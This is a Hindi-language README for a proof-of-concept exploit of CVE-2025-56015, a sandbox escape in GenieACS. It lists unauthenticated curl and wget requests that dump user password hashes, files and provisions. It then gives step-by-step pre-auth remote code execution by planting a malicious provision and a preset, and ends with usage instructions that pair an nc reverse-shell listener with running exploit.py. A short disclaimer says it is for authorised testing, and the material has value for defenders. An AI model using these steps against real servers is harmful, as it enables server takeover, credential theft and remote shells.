
CVE-2025-56015 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, GenieACS में एक गंभीर सैंडबॉक्स एस्केप और कोड इंजेक्शन भेद्यता, जो प्रोविज़निंग संदर्भ में मनमाना JavaScript निष्पादन की अनुमति देती है। declare.constructor.constructor प्रोटोटाइप श्रृंखला का लाभ उठाकर, एक हमलावर प्रतिबंधित JavaScript वातावरण से बच सकता है, अंतर्निहित Node.js child_process और net मॉड्यूल तक पहुंच सकता है, और पूर्ण रिमोट कोड एक्सीक्यूशन (RCE) प्राप्त कर सकता है।
एक्सप्लॉइट प्रकार: रिमोट
प्रमाणीकरण: GenieACS NBI (पोर्ट 7557) और ACS (पोर्ट 7547) तक नेटवर्क पहुंच की आवश्यकता है
प्रभाव: पूर्ण सर्वर समझौता, रिवर्स शेल निष्पादन, नेटवर्क पिवोटिंग
पोर्ट 7557 पर NBI एंडपॉइंट बिना प्रमाणीकरण के संवेदनशील डेटा प्राप्त करने की अनुमति देता है। उदाहरण API एंडपॉइंट में शामिल हैं:
उपयोगकर्ता डेटा प्राप्त करें:
$ curl 'http://myhost:7557/users/'
प्रतिक्रिया में पासवर्ड हैश और सॉल्ट जैसी संवेदनशील जानकारी शामिल होती है।
फ़ाइलों की सूची प्राप्त करें:
$ curl 'http://myhost:7557/files/'
प्रावधान विवरण प्राप्त करें:
$ curl 'http://myhost:7557/provisions/'
इसके अतिरिक्त, फ़ाइलों को बिना प्रमाणीकरण के सीधे फ़ाइल सर्वर (पोर्ट 7567) से डाउनलोड किया जा सकता है:
wget 'http://myhost:7567/SCR-20250623-qjoi.png'
एक सैंडबॉक्स के अंदर एक परीक्षण डीबग एंडपॉइंट Node.js process ऑब्जेक्ट तक सीधी पहुंच को प्रतिबंधित करता है। हालांकि, ऑब्जेक्ट ट्रैवर्सल के माध्यम से, विशेष रूप से कंस्ट्रक्टर चेन (जैसे, constructor.constructor) का उपयोग करके इस प्रतिबंध को दरकिनार करना संभव है।
उपलब्ध ऑब्जेक्ट्स (जैसे declare) पर इसे कॉल करके, हमलावर सैंडबॉक्स संदर्भ से बच सकते हैं और वैश्विक process ऑब्जेक्ट तक पहुंच प्राप्त कर सकते हैं। यह पर्यावरण चर पढ़ने और मनमाना कमांड निष्पादित करने की क्षमता प्रदान करता है।
पोस्ट-ऑथ RCE:
शेल प्राप्त करने के लिए API एंडपॉइंट /api/devices/{device_id}/tasks के माध्यम से सीधे प्रोविज़न स्क्रिप्ट निष्पादित की जा सकती हैं। अकेले NBI के माध्यम से भेजे गए अनुरोध कतारबद्ध होते हैं लेकिन तुरंत निष्पादित नहीं होते।
प्री-ऑथ RCE (बिना प्रमाणीकरण के RCE): NBI API का उपयोग करके, एक हमलावर बिना प्रमाणीकरण के प्रोविज़न और प्रीसेट बना सकता है। प्रीसेट डिवाइस द्वारा CWMP इंटरफ़ेस के माध्यम से एक ईवेंट भेजने पर स्वचालित रूप से प्रोविज़न स्क्रिप्ट चलाने का कार्य करता है।
शोषण के चरण:
PUT /provisions/{provision_name} के माध्यम से एक दुर्भावनापूर्ण प्रोविज़न बनाएं।PUT /presets/{preset_name} के माध्यम से प्रोविज़न के लिए एक प्रीसेट मैपिंग बनाएं (इसे "Periodic" जैसे ईवेंट से लिंक करें)।declare.constructor.constructor का उपयोग करके विश्वसनीय Node.js सैंडबॉक्स एस्केपएक्सप्लॉइट चलाने से पहले, अपने पर्यावरण और हमलावर मशीन सेटिंग्स से मेल खाने के लिए exploit.py के अंदर सीधे ACS_URL, NBI_URL, LHOST, और LPORT कॉन्फ़िगरेशन अपडेट करें।
# अपनी हमलावर मशीन पर लिसनर शुरू करें
nc -lvnp 4444
# एक्सप्लॉइट चलाएं
python3 exploit.py

requests लाइब्रेरी (pip install requests)यह कोड केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है।
उन सिस्टमों के खिलाफ अनधिकृत उपयोग जिनके आप मालिक नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति नहीं है, अवैध और अनैतिक है।
भेद्यताएं खोजी गईं और एक्सप्लॉइट विकसित किया गया:
Datafarm Co., Ltd. से
DF Pentest Team • Thailand द्वारा विकसित